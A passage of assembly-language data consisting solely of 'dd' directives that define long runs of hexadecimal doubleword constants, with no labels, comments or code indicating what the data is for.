8E7B62h, 47C1C984h, 0BD92F90Eh, 0D22EAE1Eh, 51CEED43h dd 336BC843h, 0AD9B1E8Dh, 473AFAB5h, 20D8E98Ch, 0DD28A440h dd 0C7009730h, 0DE9EA3FFh, 4A073Dh, 0A0F402D0h, 0D5490F2Bh dd 2000D798h, 24BF65E9h, 5CF2EB7Bh, 49600671h, 9C74AD7Dh dd 30C81519h, 0A8C49B10h, 88670181h, 1F03F9FBh, 8482D101h dd 0AA857531h, 6FDA080h, 2AFC1418h, 0B9288C71h, 266404E8h dd 83E414C3h, 38D0626Dh, 7D1CEF6Fh, 55004BE0h, 0AECA7394h dd 92D501D2h, 0ECD674ACh, 454040C6h, 571017A7h, 0E6C502D8h dd 3AB000ECh, 0BD9EA6F3h, 0A4FC4100h, 0F10749CAh, 0AAE4A048h dd 0B7078613h, 836BE0ABh, 4FFF58E8h, 0FC00EE90h, 0C7EEBA54h dd 0F8CE71Ah, 0DB2220F9h, 3960046Ch, 5100737Eh, 78C64447h dd 0B80A714Fh, 3A3317F4h, 23F500AEh, 2A07C219h, 0FFE02F02h dd 0E0BBB356h, 266FEh, 990F36B5h, 658AB4DCh, 29EA0B01h dd 0E881653h, 394037D0h, 2400016Ch, 43E03EB6h, 5D01DC8Bh dd 901B0704h, 9DE476D5h, 0B7DA0095h, 0C2860648h, 0E4F130E0h dd 7300415Eh, 17CB7994h, 1C332547h, 0FC00460h, 3880236Eh dd 4863D106h, 7F53F900h, 0E3B1C5C6h, 943B01B7h, 6DC21702h dd 417DF081h, 76295400h, 42F68526h, 45A74CFBh, 9DF3E800h dd 40E23545h, 0B7B60500h, 488B827Dh, 5218C0B3h, 2A1E3CF8h dd 2C7BBDE2h, 0ED9B3100h, 0C2A26295h, 2840C068h, 80251C8Fh dd 48BE8500h, 8D05BCC9h, 0F3E41C9Ch, 0CDB800EEh, 0A177150Ah dd 75DFB000h, 0C409929h, 0E2370043h, 6D367064h, 220217FFh dd 14C68457h, 47336061h, 3D8B00C0h, 82747CD2h, 7A63ABA8h dd 0F8E56BD0h, 0F2DB0B97h, 0A759C0B1h, 11B00785h, 52167600h dd 0DBFA102Ch, 4D7A0044h, 0B9DCEF4Ch, 5B028E89h, 2580A39Eh dd 6246E07Fh, 0B34B001Eh, 0E4973D75h, 7B3AC8EEh, 0A3DC07E5h dd 0F3C00590h, 156934Ah, 0BD12F028h, 0CCDABF10h, 551F7143h dd 64C00763h, 77BC9B06h, 90A40925h, 9A0860D8h, 0D79C0010h dd 7E64BEECh, 0CF8058DFh, 0D0059177h, 49AE3C32h, 6D8A5A00h dd 130F7A7Eh, 0A4510900h, 70D8E012h, 0B8810066h, 5A8489BEh dd 9D6030CAh, 0F77D2548h, 0D33F01C2h, 3B4D6E41h, 5318D01Ch dd 0A2908F00h, 0F10105B6h, 7E200031h, 911197F6h, 0B0D80C19h dd 86C73650h, 0D6FEC902h, 181C35E3h, 0F3836226h, 0B5CE0BDh dd 17552461h, 0C0FB1D1Fh, 16BF1B0h, 3E768C38h, 0B8C78F00h dd 32841F35h, 36C91697h, 5AB899h, 0F60E96F4h, 790221Bh dd 0E3E2AA2Ch, 0BCD990BBh, 8E0079E0h, 22F71E71h, 6ADAD3h dd 1862124h, 95057C97h, 23FFC200h, 0EDAAA373h, 0E82C1730h dd 0A0E50EBBh, 0C7DF40EEh, 0D00E20C7h, 2A5DAFE4h, 0C6558300h dd 141CFAFFh, 6BD0075h, 153D6DB2h, 8200F45Dh, 9D03A533h dd 1F99A8C0h, 3D60554Bh, 596E16h, 0B13701A8h, 0BF0F9413h dd 232C6523h, 7EB15h, 1DBE2240h, 0E0A9DFBBh, 0C4E2438h dd 21899143h, 0D6C600E4h, 30DB8C04h, 0A7186F11h, 0CC4824C1h dd 7B02860Eh, 82261E53h, 344F18E4h, 3F0C4B80h, 133AD306h dd 5E60A00h, 90FBAECFh, 5A816800h, 1F834060h, 7D6E00DBh dd 291CF253h, 1E3CC7B8h, 49798E9Bh, 0C642A0B4h, 0B36985h dd 0FECE14F3h, 8A885C61h, 29202107h, 6A30F8F5h, 0EFD25h dd 7449906Fh, 0B11DE1D5h, 8700C8F2h, 0CBE9ABEAh, 3BC22Bh dd 996C17D6h, 0A355CA01h, 6A771E00h, 418011ECh, 848D003Eh dd 475A5778h, 1F00D8F8h, 0F068CAB0h, 1059C9h, 7A11AD95h dd 1E9E3201h, 850ED601h, 20089AA1h, 0B3BCECh, 81EA0305h dd 0EC4400Dh, 27103F00h, 4C7A9FB4h, 0B8430123h, 0E4BBD836h dd 0D6387065h, 40631D00h, 0A47F4AE3h, 3FED0061h, 46F44FA1h dd 0C1007A1Ch, 26956FACh, 9849DAh, 58238D70h, 6DB05138h dd 0D0078F2h, 610465F4h, 3F2974h, 9EDE57F6h, 0E639E319h dd 1BA28C01h, 0AE220849h, 721AB880h, 0F76F37D6h, 3B7D2BE6h dd 0DDF6D57Ch, 0B35D100h, 7FCB5F05h, 8DE290h, 152AF46Ch dd 8CDAE7F7h, 9F307A28h, 5C3B6100h, 2CBBEBA5h, 40EE00EFh dd 5975FCF6h, 0ED0FDD3Fh, 0C063FD96h, 0D95C05C4h, 65980Dh dd 6B885685h, 1648B78h, 0CDD23901h, 0E80CE5F3h, 2EF460h dd 6BA1B49Ah, 0A4019644h, 0C7B3D107h, 0C9D05133h, 38616CD3h dd 49058FCEh, 0C72C7FA6h, 0D52F2355h, 0CA2E2900h, 0F7616BD4h dd 1B0B4024h, 10666920h, 11CEAF3Ch, 1008A2D2h, 870C05C5h dd 44075129h, 0F030861Ch, 0CA1279D2h, 23A62848h, 0E1563728h dd 51C9D629h, 0A6E3080Eh, 142F4A4Ah, 79B0CF0Ch, 0D0FB311Eh dd 10260B50h, 8065E2CBh, 0DD086B7Fh, 43C25132h, 0A1115BABh dd 447645B7h, 0EE0EF622h, 20AD6BD7h, 8F95421Eh, 159000EFh dd 0D27650DFh, 100CFA7h, 2AA22989h, 3B68A9DDh, 0A0807034h dd 0FD991A67h, 0CDF49844h, 7CDB3F00h, 26EE0C42h, 454D012Fh dd 0F3258409h, 951EC899h, 0F43660Fh, 0DD29A08Eh, 9878224Bh dd 8C3A0189h, 0AA133720h, 83CBC09Fh, 0BE584E03h, 0BBC6252Fh dd 0FBA988EAh, 917D0E70h, 4280C568h, 5231E3C0h, 9946B500h dd 4A69FFD5h, 0A4A5014Fh, 0F1CEA89Ah, 0AC01E4D1h, 4503C800h dd 0DB16F708h, 7E7B0F9h, 4D12BE47h, 9F352073h, 5F01BAD8h dd 2D1D9884h, 9AD01385h, 0E276E249h, 82DA0099h, 5E8C0760h dd 4A079F2Bh, 88FF402Ch, 0A6164211h, 9F9F0E0h, 451A1B21h dd 0F7FD2480h, 1F787819h, 6F529900h, 2261DEB3h, 5E7D1898h dd 0B0A82820h, 0BC9E31Fh, 0F92FCD80h, 73C72Ah, 0B33287F0h dd 4B81549h, 0CD96C160h, 0D4FAD0h, 50B5B901h, 0F98869DDh dd 0F5CFE8C0h, 72C699h, 0F0A4EF58h, 0B35A4164h, 9F764A00h dd 784CBAE6h, 0D3FC2Bh, 0BCB82AE8h, 0AC6E7DC4h, 0B59E960Fh dd 80C02BB1h, 8A05E26Ah, 0EAEB5CCDh, 0DCAEF00h, 10064D58h dd 7E79B800h, 0C409A5E3h, 45CD00B4h, 0E808B25Ah, 0D3007305h dd 6CACE952h, 0BBD7EDh, 0C3267F8h, 82937D09h, 0DFA81A00h dd 0EC1EB715h, 2C451340h, 0FB660034h, 0CA8C6064h, 0C2624E2Ch dd 754B1900h, 4350E2h, 0DFEAC5CCh, 0C8E9CF25h, 0ABDB7F00h dd 4A4E81D5h, 30B40F35h, 5354A6h, 0FF945A24h, 1F057387h dd 930BAFF6h, 0B0959400h dd 8868B3h, 8261B4F8h, 0F11C6EC7h, 23124000h, 1EC42FA1h dd 4BB024h, 83156389h, 51214F27h, 0E55F660Fh, 103DA03Bh dd 335DE304h, 13D22E57h, 0A4C53400h, 80AB3A11h, 0F31E509Fh dd 0FAA503ACh, 5EE483A1h, 5AF403E5h, 17D056A0h, 8917182Eh dd 0FB005FE1h, 7AA8B27Eh, 87F872h, 1413ACA5h, 2CDDEFA3h dd 0BE53BB07h, 0C1079A5Ah, 38F85DC0h, 8D4F0076h, 8E889722h dd 890096A3h, 0AE166B4Bh, 0C0837F5Eh, 676255F6h, 37003530h dd 1159D85Ah, 46A7DEh, 429321E8h, 0A90E2ACFh, 803D6938h dd 9213D552h, 1621AED4h, 4897FBh, 23515464h, 0B600849Ch dd 0A4037598h, 1C8CACEFh, 24976109h, 353E3E3Ch, 4E4C800h dd 0B1515B50h, 90427900h, 7E2EC6B5h, 0EA7F0E3Ah, 5A0FE33h dd 0D5E6140Eh, 3D2A9300h, 0EBF7CCB5h, 7B200074h, 0B165C611h dd 8F7DC86Ch, 0E95A3A00h, 2F50D38Bh, 0FAF00009h, 0E70563C5h dd 7000A0CEh, 87E9D24Fh, 198623h, 8A263FC0h, 4BD101EDh dd 46AFC605h, 12C03E13h, 0F44ECF3h, 0F2E7931h, 5D4C0172h dd 6054CD4Ch, 0BAE0993Ah, 80846D2Fh, 0CBD849DBh, 28AB48C0h dd 0C0DB8D1Eh, 0BCB4BA18h, 0DF00792Dh, 0B8ED97BDh, 7B19899Ch dd 0DE660E61h, 0C0DD1047h, 0C0657499h, 8A494D43h, 0B5440030h dd 6E068CA6h, 98740AD9h, 9C0EBDFh, 2827A31Fh, 8D728059h dd 6AEEE9BBh, 1B4023Bh, 81857136h, 0A7ED4149h, 703FC0h dd 585E87B1h, 0DFFB0EEh, 0D89BE200h, 699CA16Fh, 312F00F6h dd 0AF24B8C1h, 1C07A943h, 0FF1BF5C9h, 0EDE67300h, 94680022h dd 0A4572D14h, 74002C3Ah, 69D9AF33h, 7BD46CF5h, 3ECE451h dd 6E1241BCh, 0AEB0D616h, 0A702C95Bh, 91DDFB9h, 0C545C08Dh dd 49D1EB0h, 7585C0DDh, 5317FC45h, 889CC00h, 0CEB550E1h dd 0FB2C00B3h, 1A1CD42Eh, 0A4245C77h, 0F6011501h, 0D0C1A0F5h dd 92309F71h, 323402F4h, 83D1A168h, 0F97CEEE0h, 0A9D69900h dd 507954CCh, 0AEB61FACh, 0C27240ABh, 915A7532h, 0CB5D2100h dd 0B6ED73BAh, 0B73000ACh, 6B4F4ED9h, 8401D834h, 0B846B11Bh dd 87F4F578h, 0EF6D39BEh, 4E682801h, 20FFDED6h, 700015D8h dd 33E7F5B2h, 830885h, 0BED8C58Bh, 94B5F8ECh, 3995F300h dd 0A0EA9E93h, 0EE7D01B1h, 805A8AD0h, 7A29E851h, 9DF33417h dd 8C363403h, 5A46E01Ah, 7C1000CDh, 0E7746AD2h, 609A6FF2h dd 9E685E0Fh, 0DC45E036h, 5C0ABF34h, 0E10F3169h, 68C0972Ch dd 2A448415h, 0F5E89F00h, 0D8D5864Ah, 8E022C50h, 3D4000F2h dd 660D1277h, 0B273F900h, 74191F3h, 0BDA60035h, 16219D92h dd 0D0E6E4BAh, 5B4D7F00h, 0F9AFD9F1h, 0CB9201BFh, 9F88A46Ah dd 0A0208015h, 239AFE51h, 977127h, 0E1EA01B6h, 0AF12292Bh dd 9E7F0F05h, 0E003DA21h, 1624D311h, 0F550B1h, 0BD1663FCh dd 42003C9Eh, 0C6B37FD4h, 4A7456h, 945D6D7Dh, 85ECF445h dd 0B7E31700h, 0AB444667h, 2E5000EDh, 62F50656h, 0C00C616h dd 79DFDC3Bh, 0BDE731h, 0C50AD63Ch, 8C454998h, 7265AD00h dd 0FFF72999h, 0E16B036Fh, 0F6C9E782h, 0D9C52788h, 690D500h dd 3E70FF36h, 0E41100DFh, 0CA28D35Ah, 0FE71013Ah, 44ECFD50h dd 55B7CB00h, 0B03615E4h, 0CADB00E8h, 192AA828h, 70E08E2Fh dd 4041AA00h, 0D19C4A8Ah, 9EB63F34h, 5835F180h, 2397F65Fh dd 44BD4500h, 32392A9Dh, 0D3CD00B1h, 1A59F8AAh, 78038C0Ch dd 1446BB20h, 0E6D4887Bh, 4DE53099h, 64B5182Ch, 0FB7EFA0Eh dd 2145A006h, 383A6D0h, 582623DFh, 60A8028Dh, 5BFE796Bh dd 5EF64C03h, 91EC841Ch, 31E0214Dh, 0FA675C7Bh, 2235A801h dd 2026B1C3h, 0CCE57F77h, 43036A2Bh, 0B0AB7D94h, 7033F8EEh dd 0B6FE3E88h, 39CC780h, 1B250A1Ch, 511E9200h, 0D74CD3F6h dd 71F58A8h, 40944E1Ch, 6ECA2C75h, 3A1C92ECh, 9E8B9B58h dd 5B00D5A8h, 898AE24Eh, 327F7301h, 471B69F5h, 731126CCh dd 79B770B8h, 958B00E6h, 258DA05Fh, 143ACCFBh, 452713C9h dd 66CA8600h, 409C09h, 0E2ECE86Bh, 0E1AF7F30h, 491B5106h dd 0B9AD5ADh, 0EF2A02CAh, 0D2147C80h, 0B6CEB56Dh, 0E5AEF3h dd 27A9D4B2h, 0CCAC48CFh, 26902Eh, 0F0122CDEh, 4C038D24h dd 40F3B189h, 418E90D6h, 38AB0016h, 0B0D8ECA6h, 23170178h dd 1F0FBE9Dh, 2DC1623Ch, 8323C08Eh, 778A1F81h, 3119624h dd 1F6E902Fh, 1A200DF8h, 2057862Eh, 54DF6A40h, 6F370032h dd 79CC61DAh, 0C400121Ah, 5966292h, 2E0F3CD3h, 48441Dh dd 5C5DB79Eh, 7A00139Ch, 16B4F943h, 86A4ADh, 550AB0E0h dd 61F1E874h, 39672912h, 0D9655900h, 0EC1CA47h, 5F5735F3h dd 0AA69E1C1h, 2D6AE071h, 0DFB13707h, 28900421h, 0D42618h dd 0C296B3A7h, 0D23E3CFCh, 4B9AB000h, 0B862697Eh, 31C0707h dd 0AB6AE628h, 0A472E080h, 6C096B51h, 0D78A8CDEh, 1F4D9580h dd 1C013F6Dh, 0E5DCED71h, 0B8FBD796h, 0CFEC47h, 6BA5D1B1h dd 0D4C595CDh, 17B8F00h, 6D64D20Ah, 54DC005Ch, 0D74AB169h dd 1600D33Bh, 0CEE39F86h, 0FA5B1F0Bh, 0B4F601D4h, 2278F70Ch dd 4E2FFCC1h, 0C4AB0809h, 0F9BC132Eh, 0E8CBB445h, 0E618C1h dd 3513AAA2h, 580882E0h, 0C01A5EEh, 3B116CFDh, 3ED07064h dd 3B6BE0EFh, 9F0040C8h, 0E8661D94h, 2900BA9Ah, 0FF4F8B79h dd 9EA5D2h, 91A041FCh, 0B8B3EB6Ah, 0ACF8C0A3h, 0FA00C24Dh dd 0A92C6C03h, 78C03970h, 5AA11D08h, 0BCCC40B0h, 0F3F710ABh dd 41405B00h, 8334393Eh, 25DD1ED6h, 0BA7EC0CEh, 4DDCE78Fh dd 58B1951Fh, 8AC0E91Ch, 9A93A40h, 2A37DB3h, 0AC6B9BBBh dd 78C0F769h, 68289138h, 2A00802Ch, 54A0DC33h, 1C673B88h dd 0EAC89DFEh, 7C9371B4h, 0A860035h, 7DD14591h, 1062470h dd 95A4D609h, 0E2C20060h, 0F30AF13Ch, 249064EFh, 5FC104Ch dd 36A5F094h, 0DBE064C7h, 1FFDDEBh, 5554F945h, 0C0592CB8h dd 3300BC3Eh, 52576D4Bh, 5D0EF5h, 2CF46736h, 5FEF1810h dd 2B883401h, 0A18155BAh, 47AAECh, 0FCDE24FDh, 0D5F6663Fh dd 190B4807h, 0F450515Ah, 5C21B99Ah, 6F27B045h, 85052080h dd 0B46142DEh, 6EAB1F19h, 487FD40h, 470500E5h, 45C9C3CCh dd 71047470h, 7F01A293h, 5DBC00A3h, 7DAF008Ch, 1C970F8Bh dd 0C000B7F0h, 31384288h, 1A9F7Ah, 116B6E1Dh, 0C1F98CEAh dd 0C52C1400h, 87C7D55Fh, 15B4A01Fh, 0B2C000ACh, 0D743D2A3h dd 50EF582h, 0E09D46BCh, 7CC99089h, 0A580032Eh, 95DBE3DEh dd 0DFA034ABh, 671D6244h, 0C1805DADh, 105AD785h, 18EA41h dd 0C8160C19h, 0EFB2CCF7h, 80EB51Dh, 0BCC29300h, 306D2976h dd 643E144Ch, 653E6E66h, 21A613F4h, 7549EB00h, 9C601F9h dd 67275687h, 935F28E0h, 285E7800h, 105B6B0Eh, 0AA6350B9h dd 5884FB7h, 0AA56D34Ch, 149B8080h, 1D876BCh, 90F0697Ah dd 60119D7Eh, 43009570h, 0D37993F8h, 0DB6B8Fh, 81165923h dd 571FEB87h, 0CC1A4C00h, 99D6F7E1h, 20950271h, 299E47F1h dd 4D80A480h, 0DC054A5Ch, 0E2711A66h, 0E016240Fh, 339520FBh dd 13491F18h, 0C1B39FE6h, 0BB83DFE5h, 0E998FF98h, 0DD0555DCh dd 0B7666EB8h, 7FBDD0C0h, 724300E1h, 0C8A2874Ah, 25EC52B4h dd 503D4500h, 0FFEA04ABh, 192E65Eh, 1CCB81A8h, 2046D5A0h dd 4B48D898h, 0C7747640h, 0E07D3FB0h, 80DF3800h, 72DE5BAAh dd 49B200E5h, 7DEF9468h, 0F000D98Eh, 26E00F44h, 17432ADh dd 9472F84Fh, 0D038A21Ch dd 0DD4CCA89h, 0C85E1288h, 0DC0911Eh, 2EB73EC5h, 6A4A0F9Fh dd 9280E9C0h, 0C7F7F548h, 0CE14BA00h, 251F391Eh, 0EAE37E3Dh dd 431D00FBh, 6F3EF683h, 0F0021C6h, 35345C7h, 1CAD6317h dd 0C0FBCB37h, 728E3A3Fh, 5A1C4174h, 3EBF38h, 0C279CFEBh dd 0E4BD9517h, 599612A9h, 810A1EC8h, 4D5F48B2h, 0F058313Ah dd 6200FD03h, 0F8F24452h, 1B5B0DCAh, 203687A2h, 0E701EBD8h dd 82F13500h, 0FFD7D956h, 4C9800C6h, 0B38793A2h, 7D01F949h dd 5D02173Dh, 0DDC0FA88h, 24C000DAh, 5E10A921h, 649859FEh dd 2B0054EEh, 62D95DFDh, 135BF66h, 0E4E39A7h, 0EF268897h dd 0A2F1A8B8h, 0CB80F26h, 0C5A11381h, 3C3CB94Eh, 53449200h dd 181534A9h, 6B506800h, 25AF78F4h, 161B07B4h, 72172BA7h dd 30481360h, 730072FDh, 0FF2390BCh, 9C20F1h, 0AC30FC59h dd 0B634D0D8h, 58CAFD2Eh, 0A2ADE901h, 8CD93A32h, 999D30h dd 0E1C46FF3h, 9D68AE94h, 3900DB72h, 37761019h, 0AAA804h dd 87626D5Eh, 300C367Ah, 0CD1A6702h, 51FDF63Bh, 81FA1FDCh dd 92C5840Eh, 3F6030E5h, 654F7604h, 6CC06072h, 0BEF0D95h dd 0BCEE66D8h, 7F4E0200h, 620ACAC9h, 0F8F2BD9Ch, 0FC6F9B07h dd 2C118970h, 8FC6003Ah, 86D452B5h, 58E81B96h, 2BF88C00h dd 5AB4A106h, 0E6D50E12h, 80DCB00Dh, 0D9E35183h, 0C21F7B7Eh dd 3EC72C3Ah, 0CAD07229h, 1F7F6h, 0C58EA36Ch, 304865Ah dd 52340901h, 83908D15h, 4711D840h, 0C2D0F5Ch, 6C40D1B7h dd 174A4652h, 0E4947526h, 0F6FD0681h, 23D0D5FCh, 8D4B07A1h dd 52D34302h, 0E0815BEFh, 383729D4h, 80E53CC0h, 51772EA9h dd 2292D1h, 7935E248h, 2154E420h, 5614C303h, 0A05A4697h dd 48F16A4Dh, 75382AF3h, 4300413Fh, 968C5BE6h, 3913085Ah dd 280122DFh, 76AF1565h, 0B121D865h, 0D13FD100h, 107955h dd 4689D654h, 5A7C0AF3h, 0F9960100h, 0E165C480h, 69510B72h dd 0B8836070h, 0BFA8DF4Ah, 500DCFCh, 816717FDh, 375C70Bh dd 43C849Fh, 3DB8B6C1h, 3803EA2Ch, 3FF8414Ch, 722EB8E6h dd 0FA81909Dh, 260A77E9h, 19806CCBh, 0D0917044h, 0CFEE840Bh dd 0BD238300h, 0E84F752Dh, 0D556073Dh, 0B0827E7Ah, 0B78E9AD2h dd 0F11C7000h, 0B34F4A68h, 0D66A1D9Ch, 0BD47418Ah, 0C4CA29FFh dd 4492D40Bh, 2100FAFEh, 5FA21FE8h, 98923F76h, 0B9030078h dd 0E6456B69h, 610285B8h, 533CD88Ah, 0C87E63DAh, 8DDFD6h dd 92A45DA8h, 3FE8D7B1h, 46C84000h, 0CB2686F8h, 0F8BF777Eh dd 426D1C92h, 4C970064h, 76A0BC24h, 89930304h, 98D208DEh dd 71C7874h, 0B8202C5Bh, 65BCE0DBh, 9E008867h, 2379A3EAh dd 24138E76h, 0EC5269h, 7EF4C5F1h, 0E1002DBEh, 0C9C69899h dd 9EA05Ah, 8F094EFDh, 725EE238h, 0DD07B1FAh, 0F9D1F8CDh dd 0F4F55090h, 0E9BD39C9h, 0ED461400h, 849B01Ah, 1B4CDAF6h dd 7BD04C6Ch, 55577E00h, 5ABD1488h, 4B321E99h, 41930958h dd 2973C100h, 0E91E2661h, 77DEA71h, 0E521CABDh, 0DB874500h dd 0FF3E0074h, 1A33E658h, 0E005EADh, 75AB3B60h, 89922Fh dd 68D13873h, 0F7D33A74h, 3DEE141Dh, 923B8CC1h, 0AC30FFAFh dd 0CF3E006Dh, 0F5F38E61h, 0C50BBE3Ah, 80B31999h, 451C7AB2h dd 3498A9h, 0C606D5F8h, 999D5D40h, 0F321A400h, 0A1D0A8B5h dd 0F710072Fh, 0E0DE62D4h, 9899B87h, 467AB20Eh, 0FD332068h dd 246EDC6Ch, 407C3F4Bh, 22F809FFh, 9D79A700h, 64258A20h dd 36E600BCh, 0D59575A9h, 68001CDAh, 6642EC6Dh, 10560Dh dd 0E162A639h, 0DE1E3397h, 7700A57Dh, 61A81BC9h, 17FA2784h dd 201101F2h, 28782ED8h, 0B000CDF2h, 7A055E57h, 0DF5C06h dd 9D4026CAh, 6D64E38Ch, 501D5900h, 838B07F6h, 9244766Bh dd 2E490B68h, 0F4009622h, 314B76D7h, 26012F7Ch, 0C4C658C1h dd 0FC788A9Bh, 0DA918300h, 0B167F7CCh, 0BC3FA400h, 60ACE911h dd 315D0290h, 0EDC13748h, 661E04C8h, 9D13F001h, 12AB7BF8h dd 9E4460CAh, 0C83A3CA1h, 55B96900h, 3B91C780h, 151A1F00h dd 92C17D88h, 0C8FB0039h, 44DAA6E8h, 0D53F1920h, 0DF999326h dd 0E0F4240Eh, 8D981CF8h, 918C0986h, 76002EE9h, 9F8111B0h dd 9C789E01h, 0C2A57407h, 0BC53C0h, 0D07A7B1Ch, 20E8FBF6h dd 0A9D9F705h, 0E4143E80h, 606F0048h, 9B29BE81h, 62E237h dd 3D2EB696h, 0F06BA80h, 150DE5Ch, 17745308h, 0DC44C5Dh dd 0C3C600BDh, 346D59DCh, 38009833h, 5176110Ah, 1EBE9110h dd 88B8C4h, 2F86265Ah, 0B617837Fh, 2003B4DBh, 0E871E409h dd 6148413h, 0D219CF5Ch, 400621AFh, 0C5F3A3A5h, 7E1E3F60h dd 0C42E9400h, 0B55D532Fh, 5C32AE1Ch, 884F20C3h, 0B01AC32Ah dd 1756AF62h, 45A337Dh, 0C00D8EB0h, 12613970h, 6C86C800h dd 0B49416FEh, 0F0C600FBh, 0F6B71D76h, 0ED01E499h, 0A28544DEh dd 0F3D0AAB5h, 0BDEA012Dh, 0ADB7040Bh, 51B0D884h, 341298E4h dd 2E1D46BCh, 0C825BF80h, 0EB8FE5Ah, 24FD2CAh, 40050B20h dd 860485E6h, 7360B93Fh, 1D130887h, 0A98CE0DEh, 97B02CBh dd 0DD392D35h, 0E963C981h, 0F328806Ch, 8A3F2F8Bh, 72900ACh dd 0B28E1631h, 6400B8F2h, 736B470Fh, 588F2AC4h, 72004C3Fh dd 0CACDDE17h, 234CA2CBh, 30BA83E8h, 4FB200AFh, 1D51C5FCh dd 223C2312h, 32EC8168h, 448EB0D4h, 5F4F1D5h, 6F6C000Fh dd 0A538A3Ch, 4F07617Ah, 4D670C9h, 2A113BD0h, 0DB5E5167h dd 393078F6h, 78070D10h, 4031173Ch, 0AFFFC153h, 3A004FE6h dd 8E527D64h, 2415A15Fh, 8F8DE4h, 0F5780DD2h, 8800FBCCh dd 6AE0EE95h, 0A9DB69h, 9CCB7DBBh, 5263302Bh, 11D1800h dd 6B28AE81h, 0EE3F22Fh, 486AC716h, 0AC4F1240h, 0F50014FCh dd 1A4D991Eh, 0B9049377h, 0A6F7002Ch, 206C35A7h, 5F829D00h dd 26CFB9EBh, 0BF1D3C7Ah, 0CD21DD80h, 8FBAFB1Bh, 0DC60E1Ch dd 0D5DC817Fh, 6138111Eh, 8165D4h, 0BFCA0B2h, 0A916123Bh dd 1DECCE4Ah, 36BC4100h, 65E672CAh, 0FA675F00h, 0E2C06281h dd 9F6602A4h, 110620D1h, 0FCB86E0h, 0DE821728h, 4D746700h dd 8159A73Dh, 997D00FAh, 8FA1DEF2h, 3900C7C2h, 3E95377Ah dd 12FCF67h, 0AA9FDF8Ch, 0DD1271D6h, 0A634CC8Bh, 0D111D900h dd 80199A8h, 797C0C56h, 74647884h, 0FEE3E200h, 0DE7B9F61h dd 2F88C18Fh, 0F9664D04h, 0C3E3F85Dh, 0F7E06A1Dh, 0BD1C6664h dd 51490540h, 0CE1709h, 94EE8174h, 0B9ED0EF7h, 0EAB70A03h dd 0E8E167D8h, 9066A3E5h, 154E292h, 0F7C71524h, 300FCD8Dh dd 0DF00F4DBh, 134576F9h, 5C0ED84Eh, 500F25C8h, 9E205AEAh dd 4065B11Fh, 0B910C300h, 0DEEC6E08h, 3C3500DCh, 0F8990247h dd 0FF00F563h, 7F4C868Ah, 32DE36h, 0E9958EACh, 57D597D8h dd 0EEFB7500h, 0BC14D4D9h, 41180048h, 716DB58Ch, 7C7B1DDCh dd 70E59900h, 6875A674h, 0DE853BC0h, 0B93C5080h, 5DD77177h dd 8FF02E00h, 998DDC5h, 0ADDF0F68h, 0EBE0A69Ah, 7CF57E07h dd 4612CB03h, 1CBDFFF1h, 805F0572h, 9BEF8562h, 7700DF47h dd 0F91C9325h, 0A0CDBD57h, 3D15CAh, 8BDA4BAFh, 527F2A9h dd 0D1250400h, 2DB68CCBh, 9A3638BBh, 68DA5809h, 5E142E83h dd 0D8239DC9h, 0A007CCFh, 94F5168Ah, 66B7EAh, 6830E75h dd 0FC150D9h, 8F59B13Bh, 0C01211DBh, 0EBE34B21h, 853C003Bh dd 4A1038C3h, 0A9481D8Ah, 0D64E00D7h, 91B0ED6Ah, 587600D4h dd 8C807F5h, 6E00E244h dd 54D1D62h, 19976DBCh, 0CCC535E9h, 8C804056h, 0F800A9A8h dd 0F74205AFh, 0E0B7E42Ah, 0FC980030h, 447FB93Ah, 0E2007767h dd 4AFEC713h, 0C87076Eh, 4EB8BBF1h, 3D1D678Ah, 3283EE2Ch dd 0C0365D11h, 387FAEFh, 0ADA74E77h, 3BA0750Bh, 0E4008823h dd 3D0403F5h, 98C62127h, 0F2CC0009h, 2C709A5Bh, 7200682Ah dd 0B1919246h, 3B5A86D3h, 0E0F8958Fh, 736C0071h, 0E1D885D4h dd 0F3018B16h, 8D619DAAh, 0BFCE27Ch, 0B0073D5Ah, 103B0680h dd 904D1441h, 7EE01112h, 5D8F00FBh, 0AB5C5E3h, 3C36DC1Eh dd 27D7EEC0h, 781EFA6Dh, 633F0048h, 0F601C719h, 1B0099A3h dd 44CF5037h, 983CABh, 0B0F37B78h, 67D15F23h, 0D8AC621Dh dd 64808Bh, 774DE4BCh, 68BE0042h, 9A4A239Fh, 4100A201h dd 76CB3E52h, 0FCF251B9h, 0F1D51C68h, 2C81C14Bh, 0C8294792h dd 0CF00A2AAh, 9F2FE7B0h, 36CCA6h, 0BE4E42C1h, 0FC84DC70h dd 2A71A900h, 7BFA0B2Bh, 7A550072h, 6CA3C3E9h, 1B005214h dd 0F0F5FE71h, 1E98D480h, 0C01EF461h, 1FDD0423h, 0F91C899Ah dd 5880C2FDh, 66E42825h, 8AE004Bh, 8EDF755Fh, 0CC075CFFh dd 58B5AFECh, 0CD7B4680h, 4ECF0024h, 0DE27653Ah, 1FE6853h dd 0A5003673h, 0BB582218h, 6C2BDAh, 0C7B12079h, 9EDBA37Ah dd 308F6307h, 0E8E14BB0h, 0FAF0B625h, 6BB040h, 0A9190A1Dh dd 7595739Eh, 7C44F103h, 0D8AA91D4h, 0C911D7h, 8718B3B1h dd 353E2B16h, 94EB0A00h, 0B78B7C42h, 0A1BC01F3h, 396C46AEh dd 0E8E3FD55h, 5D008DCEh, 0BA37579h, 7BF030h, 3319BF11h dd 72F4D2CBh, 0F657C203h, 0B0E01E0Ch, 1A38916h, 9371F588h dd 0ECE81509h, 8C7A8D23h, 9BB49E00h, 0FC768587h, 49CA0F0Eh dd 97A090A2h, 488C6F83h, 7C47F700h, 0AE373559h, 0CE9F1F21h dd 754A8365h, 7B0B44Dh, 7E1C1725h, 0AB00A505h, 5143A4EBh dd 44F600E1h, 6E038EC2h, 0FB1DF765h, 7001F8DBh, 0FFA58BADh dd 3F6BF8h, 17EABCF1h, 0F4073DE9h, 7523E300h, 9966647Eh dd 1CFE1DFDh, 0BA8B4059h, 0C7866B0Fh, 0B2B038h, 8440BDB4h dd 0FE56AACh, 7A3F071Dh, 227BF6A0h, 0EB7E9005h, 4B802700h dd 6FA8E7DDh, 5E8C0008h, 0DBE11270h, 9000A747h, 0F5423BCh dd 320588h, 0BBADA381h, 0A4C1288Eh, 20004BB8h, 0E4313AE9h dd 458FCh, 916BCC0Bh, 0D9466171h, 0C281B03h, 9838219Fh dd 1EDA0C2h, 0F4DFBF9Dh, 8524D2D4h, 3CF53D60h, 0B7490C0h dd 6FD12C10h, 0CBD80B18h, 5B2983D5h, 0D5DE1EE6h, 0FF220082h dd 5210E451h, 0DB04EB00h, 7EE597A3h, 0E2F0FBE0h, 4E710E24h dd 0E8806FD3h, 60A4107Ch, 